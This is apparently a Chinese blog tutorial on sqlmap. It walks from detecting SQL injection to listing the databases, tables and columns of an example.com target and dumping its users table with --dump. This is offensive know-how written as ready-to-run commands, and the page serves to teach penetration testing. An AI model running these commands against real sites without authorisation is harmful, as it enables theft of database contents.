本文最后更新于79 天前,其中的信息可能已经过时,如有错误请发送邮件到fupcode@outlook.com
一、sqlmap简介
sqlmap
是一个强大的开源工具,用于自动化检测和利用SQL注入漏洞。它支持多种数据库类型,包括MySQL、Oracle、PostgreSQL、SQL Server等。sqlmap
能够帮助渗透测试人员快速检测注入点、获取数据库结构、甚至直接获取数据库中的敏感数据。
二、sqlmap注入检测
基本用法
使用-u
参数指定目标URL,使用--batch
采用默认配置
sqlmap -u "http://example.com/vulnerable.php?id=1" --batch
通过HTTP请求文件检测
sqlmap -r request.txt --batch
request.txt为请求头和请求体,例如:
POST /login.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=12345
高级选项
--level
:指定检测级别,数值越高检测越深入(1-5,默认1)--risk
:设置攻击风险等级(1-3,默认1)
三、sqlmap获取数据
假设目标URL为http://example.com/vulnerable.php?id=1
,以下步骤展示了如何利用sqlmap
来导出数据库信息:
1. 测试注入点
sqlmap -u "http://example.com/vulnerable.php?id=1" --batch
2. 列出数据库:
sqlmap -u "http://example.com/vulnerable.php?id=1" --dbs
3. 选择数据库并获取表
sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db --tables
4. 选择表并获取字段
sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db -T users --columns
5. 导出表数据
sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db -T users --dump
这条命令会从users
表中提取并显示所有数据。